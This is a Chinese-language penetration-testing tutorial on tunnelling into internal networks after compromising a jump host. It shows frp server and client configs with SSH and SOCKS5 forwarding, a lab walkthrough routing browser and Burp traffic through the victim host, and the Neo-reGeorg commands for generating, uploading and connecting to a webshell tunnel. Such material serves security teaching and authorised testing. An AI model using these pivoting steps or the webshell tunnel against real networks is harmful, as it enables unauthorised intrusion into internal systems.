# 内网隧道搭建 # 内网隧道搭建 ## 一、frp 内网穿透工具 服务端配置文件 frps.ini : ```ini [common] #监听端口 bind_port = 7000 #监听地址 bind_addr = 0.0.0.0 #密码 token = Lyrio #转发流量分析网站端口 (http://ip:7500) dashboard_port = 7500 #账号 dashboard_user = admin #密码 dashboard_pwd = admin ``` 服务端开启 frp 命令: ```bash frps -c frps.ini ``` ​ 客户端配置文件 ```ini [common] #服务端地址 server_addr = 127.0.0.1 #服务端监听端口 server_port = 7000 #将ssh转发到代理服务器上的示例: [ssh] #标签(自定义) #协议类型 type = tcp #转发地址 local_ip = 127.0.0.1 #转发端口 local_port = 22 #服务器访问的端口 remote_port = 6000 #将全部tcp流量转发到代理服务器上的示例: [socks5] #协议类型 type = tcp #加载socks5模块 plugin = socks5 #流量转发到5000端口 remote_port = 5000 #socks5帐号 plugin_user = Lyrio #socks5密码 plugin_passwd = passwd #是否加密 use_encryption = true use_compression = true ``` 客户端开启 frp 命令: ```bash frpc -c frpc.ini ``` ​ 实操环境: - 攻击方服务器:Ubuntu - 客户端/内网受害机/跳板机:Windows Server - IP:192.168.169.131 - 外网攻击机:Windows 前情提要:在该内网内,有的网站和设备不出网,只能与内网内的设备通信(跳板机所在的内网),在拿下跳板机后如何攻击内网? 内网受害机能访问站点: ![image-20240330001355346](http://cdn.wutongliran.top/img/image-20240330001355346.png) 外网攻击机访问内网站点被拒绝: ![image-20240329235015168](http://cdn.wutongliran.top/img/image-20240329235015168.png) 打通隧道步骤: 服务端是 Linux 系统,将适用于 Linux 系统的 frps 和 frps.ini 上传到服务端 (frps_full.ini是示例文件,不用在意) ![image-20240329232707787](http://cdn.wutongliran.top/img/image-20240329232707787.png) ![image-20240329232940474](http://cdn.wutongliran.top/img/image-20240329232940474.png) 输入`chmod 777 frp`给 frp 赋予执行权限 输入`frps -c frps.ini`启动 frp 服务端 (在此之前记得开放相应端口的安全组和防火墙) ![image-20240329233308232](http://cdn.wutongliran.top/img/image-20240329233308232.png) ​ 客户端/内网受害机/跳板机是 Windows 系统,将适用于 Windows 系统的 frpc 和 frpc.ini 上传到客户端 ![image-20240329233635538](http://cdn.wutongliran.top/img/image-20240329233635538.png) ![image-20240329235606824](http://cdn.wutongliran.top/img/image-20240329235606824.png) 输入`frpc -c frps.ini`启动 frp 客户端 ![image-20240329235711549](http://cdn.wutongliran.top/img/image-20240329235711549.png) 因为 192.168.169.131 的 80 端口被映射到服务端的 6000 端口,所以外网攻击机可以访问服务端的 6000 端口来达到访问 192.168.169.131 的 80 端口的效果 ![image-20240330000226263](http://cdn.wutongliran.top/img/image-20240330000226263.png) ​ 有时内网有很多需要访问的,一个个映射太麻烦,可以用 socks5 模块来搭建隧道 修改客户端的 frpc.ini: ![image-20240330000806269](http://cdn.wutongliran.top/img/image-20240330000806269.png) 重新启动客户端 外网攻击机配置浏览器 socks5 代理 ![image-20240330000925415](http://cdn.wutongliran.top/img/image-20240330000925415.png) 选择该代理再去访问站点: ![image-20240330002722793](http://cdn.wutongliran.top/img/image-20240330002722793.png) 访问日志: ![image-20240330002755731](http://cdn.wutongliran.top/img/image-20240330002755731.png) 显示的访问 ip 为内网受害机本机 ip ​ 考虑实战中大概率需要 bp ,所以可以在 bp 里配置 socks5 代理,浏览器选择 bp 代理 ![image-20240330003004368](http://cdn.wutongliran.top/img/image-20240330003004368.png) ​ ​ ## 二、Neo-reGeorg 搭建 HTTP 隧道 使用情况: - 当前主机没有网络 - 防火墙策略,不让某某端口出网!(入口不出网) ​ 生成隧道马: ``` python .\neoreg.py generate -k <密码> ``` 将隧道马上传到目标主机上 连接隧道马: ``` python .\neoreg.py -k <密码> - u <隧道马地址> ``` 连接成功后默认在本地开机 1080 的 socoks 代理端口,浏览器或者 bp 连接本地 1080 的 socks 代理即可